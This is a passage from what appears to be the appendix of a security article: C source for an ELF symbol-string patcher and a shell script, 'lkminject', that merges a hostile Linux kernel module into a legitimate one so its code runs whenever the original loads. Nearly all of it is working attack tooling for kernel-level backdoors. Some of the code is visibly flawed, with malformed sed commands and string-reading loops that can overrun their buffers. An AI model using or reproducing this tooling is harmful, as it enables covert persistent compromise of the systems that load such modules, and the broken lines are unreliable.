                       Elf32_Shdr *shstrtable, char *res, size_t len);
                       
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
                       
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
                       Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }
    
  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }
    

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }
  
  
  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
  
  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");
  
  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
  
  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");
    
    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name, 
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }
  
  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), 
             SEEK_SET) == -1)
    FATAL ("fseek");
  
  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}
  

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, 
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
  
  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), 
               SEEK_SET) == -1)
      FATAL ("fseek");
    
    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");
    
    ElfGetSectionName (fd, shdr->sh_name, &shstrtable, 
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;
  
  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh 
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      http://www.projet7.org                  - Security Researchs -
###########################################################################


sed -e struct/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e struct/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm 
# if needed. 
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=| 